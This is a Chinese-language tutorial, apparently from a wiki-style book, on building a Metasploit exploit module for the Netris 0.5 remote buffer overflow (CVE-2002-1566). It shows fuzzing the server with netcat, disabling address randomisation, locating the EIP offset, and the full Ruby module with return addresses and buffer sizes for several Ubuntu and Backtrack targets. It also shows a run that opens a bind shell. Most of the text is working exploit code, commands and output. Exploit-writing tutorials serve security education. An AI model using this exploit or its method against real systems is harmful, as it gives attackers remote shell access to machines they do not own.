Metasploit/編寫 Linux 漏洞利用
在本教程中,我將向您展示如何從漏洞報告開始,為 Metasploit 框架建立一個漏洞利用模組。
我選擇的要利用的程式是 Netris 0.5。我之所以選擇它,是因為它的漏洞是一個簡單的緩衝區溢位,它是遠端的,並且已經有了一個可以作為起點的工作漏洞利用。您可以參考這個漏洞這裡。請注意,此漏洞僅適用於 0.5 版本。
首先,獲取 Netris 0.5 的原始碼。您可以從這裡獲取。編譯它,並確保它執行沒有錯誤。
為此釋出的漏洞利用解釋說我們的緩衝區應該像這樣
[68 filler bytes][nops][shellcode][return address]
但是,讓我們從更簡單的東西開始。讓我們看看當我們向 Netris 伺服器傳送一堆“A”時會發生什麼。
在一個 shell 中
$ gdb netris
現在您進入了 gdb 並準備執行 Netris。從 gdb 提示符開始,啟動伺服器
(gdb) run -w
現在,在另一個 shell 中
$ ruby -e 'print "A"*16000'| nc localhost 9284
您可能需要使用 ctrl+c 從 netcat 中退出,但完成後,請檢視您的 gdb 會話。它應該看起來像這樣
Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? ()
這很完美。這表明我們只是將指令指標($eip)覆蓋為 0x41414141,它是 AAAA 的十六進位制表示。
由於我們可以控制指令指標,因此我們可以控制此程式的流程。從這裡開始,您可能需要將核心設定為不使用隨機化虛擬定址。您可以使用 sysctrl 使用以下命令執行此操作
$ sudo sysctl -w kernel.randomize_va_space=0
這樣緩衝區就會每次儲存在相對相同的位置,允許我們返回到它。
首先,從一個相對通用的漏洞利用指令碼開始。您可以直接複製 modules/exploits/linux 下的 Linux 漏洞利用之一來開始。
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'Netris 0.5 Buffer Overflow (Linux)',
'Description' => %q{
Netris 0.5 exploit.
Discovery of this issue is credited to Artur Byszko / bajkero.
},
'Version' => '0.1.0',
'Author' => ['dougsko'],
'License' => GPL_LICENSE,
'References' =>
[
[ 'BID', '5680'],
[ 'CVE', '2002-1566' ],
[ 'URL', 'http://securityvulns.com/files/netrisx.c' ],
[ 'URL', 'http://xforce.iss.net/xforce/xfdb/10081' ],
],
'Privileged' => false,
'Payload' =>
{
'Space' => 1024,
},
'Platform' => ['linux'],
'Targets' =>
[
[ 'Ubuntu 8.04',
{ 'Ret' => 0x80522b0,
'Arch' => [ARCH_X86 ],
'BufSize' => 9692,
}
],
],
'DisclosureDate' => '08/14/2003',
'DefaultTarget' => 0 ))
register_options( [ Opt::RPORT(9284) ], self.class)
end
def exploit
end
end
請注意,我已經填寫了有關此漏洞利用的一些特定資訊。我們需要了解的下一個重要資訊是返回地址。我們需要一個指向緩衝區內的某個位置的地址。找到這個地址可能有點棘手,但這是我的方法
- 在 gdb 中執行 Netris。
- 用一堆“A”覆蓋它。
- 看一下 netBuf 函式,因為這是溢位發生的位置附近。(您確實閱讀了漏洞說明,對吧……?)
(gdb) x/20s netBuf 0x8052260 <netBuf>: 'A' <repeats 64 times> 0x80522a1 <netBufSize+1>: "" 0x80522a2 <netBufSize+2>: "" 0x80522a3 <netBufSize+3>: "" 0x80522a4 <isServer>: 'A' <repeats 200 times>... 0x805236c: 'A' <repeats 200 times>... 0x8052434 <opponentHost+116>: 'A' <repeats 200 times>... 0x80524fc <scratch+28>: 'A' <repeats 200 times>... 0x80525c4 <scratch+228>: 'A' <repeats 200 times>... 0x805268c <scratch+428>: 'A' <repeats 200 times>... 0x8052754 <scratch+628>: 'A' <repeats 200 times>... 0x805281c <scratch+828>: 'A' <repeats 200 times>... 0x80528e4 <curShape>: 'A' <repeats 200 times>... 0x80529ac: 'A' <repeats 200 times>... 0x8052a74: 'A' <repeats 200 times>... 0x8052b3c: 'A' <repeats 200 times>... 0x8052c04: 'A' <repeats 200 times>... 0x8052ccc: 'A' <repeats 200 times>... 0x8052d94: 'A' <repeats 200 times>... 0x8052e5c: 'A' <repeats 200 times>...
請注意,在 0x80529ac 之後,記憶體基本上充滿了我們的 A。我只是在 0x80529ac 之後隨機選擇了一個地址,並使用了 0x80522b0。這是可以的,因為我們將使用一個大的 NOP 墊,因此在返回地址方面,我們不必非常精確。下一步是找出我們的緩衝區需要多長才能溢位緩衝區,但仍然用我們的返回地址正確地覆蓋 EIP 暫存器。
為此,我們將使用 tools 資料夾下的 scripts patter_create.rb 和 pattern_offset.rb 指令碼。首先,再次在 gdb 中啟動 Netris
$ gdb netris (gdb) run -w
在另一個 shell 中,使用 pattern_create.rb 指令碼建立您的溢位字串
./pattern_create.rb 16000 | nc localhost 9284
這將導致溢位
Program received signal SIGSEGV, Segmentation fault. 0x316c4d30 in ?? ()
現在,我們看到 EIP 已經被覆蓋為 0x316c4d30,這是我們傳送給伺服器的字母模式。為了找出這需要多大的緩衝區,我們使用 pattern_offset.rb
./pattern_offset.rb 0x316c4d30 16000 9692
我們看到我們的緩衝區大小應該是 9692 位元組。將其放入我們漏洞利用模組的目標定義中。我們現在準備開始行動了。
我們現在要做的就是在我們正在編寫的模組中定義我們的漏洞利用方法。
def exploit
print_status("Generating buffer")
buf = make_nops(target['BufSize'] - payload.encoded.length) + payload.encoded + [target.ret].pack('V')
print_status("Sending \#{buf.size} byte buffer...")
connect
sock.put(buf)
sock.get
handler
disconnect
end
這將以如下方式設定我們的攻擊緩衝區
[NOPs][shellcode][return address] total: 9692 bytes
然後,我們使用 sock.put(buf) 傳送它。框架實際上處理了涉及的大多數其他細節,包括 shellcode 生成。以下是我的最終漏洞利用模組的樣子
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'Netris 0.5 Buffer Overflow (Linux)',
'Description' => %q{
Netris 0.5 exploit.
Discovery of this issue is credited to Artur Byszko / bajkero.
},
'Version' => '0.1.0',
'Author' => ['dougsko'],
'License' => GPL_LICENSE,
'References' =>
[
[ 'BID', '5680'],
[ 'CVE', '2002-1566' ],
[ 'URL', 'http://securityvulns.com/files/netrisx.c' ],
[ 'URL', 'http://xforce.iss.net/xforce/xfdb/10081' ],
],
'Privileged' => false,
'Payload' =>
{
'Space' => 1024,
},
'Platform' => ['linux'],
'Targets' =>
[
[ 'Ubuntu 6.06',
{ 'Ret' => 0x80544f0,
'Arch' => [ ARCH_X86 ],
'BufSize' => 11552,
}
],
[ 'Ubuntu 7.04',
{ 'Ret' => 0x80544f0,
'Arch' => [ ARCH_X86 ],
'BufSize' => 12148,
}
],
[ 'Ubuntu 8.04',
{ 'Ret' => 0x80522b0,
'Arch' => [ARCH_X86 ],
'BufSize' => 9692,
}
],
[ 'Backtrack 2',
{ 'Ret' => 0x80544f0,
'Arch' => [ ARCH_X86 ],
'BufSize' => 12120,
}
],
],
'DisclosureDate' => '08/14/2003',
'DefaultTarget' => 0 ))
register_options( [ Opt::RPORT(9284) ], self.class)
end
def exploit
print_status("Generating buffer")
#buf = pattern_create(16000) # debug
#buf = "A"*(target['BufSize'] +4)
buf = make_nops(target['BufSize'] - payload.encoded.length) + payload.encoded +
[target.ret].pack('V')
print_status("Sending \#{buf.size} byte buffer...")
connect
sock.put(buf)
sock.get
handler
disconnect
end
end
在 modules/exploits/ 下建立一個名為 mine 的資料夾,並將該檔案放入其中。以下是執行漏洞利用時的樣子。請注意,我以 doug 使用者身份執行 Netris 伺服器。
./msfcli mine/netris rhost=localhost target=2 payload=linux/x86/shell_bind_tcp E
[*] Started bind handler [*] Generating buffer [*] Sending 9696 byte buffer... [*] Command shell session 1 opened (127.0.0.1:36044 -> 127.0.0.1:4444)
id uid=1000(doug) gid=1000(doug), groups=4(adm),20(dialout),24(cdrom) ...etc
就是這樣。我們剛剛從漏洞報告到一個工作的漏洞利用。我似乎在使用 linux/x86/shell_bind_tcp 有效負載時運氣最好。玩得開心!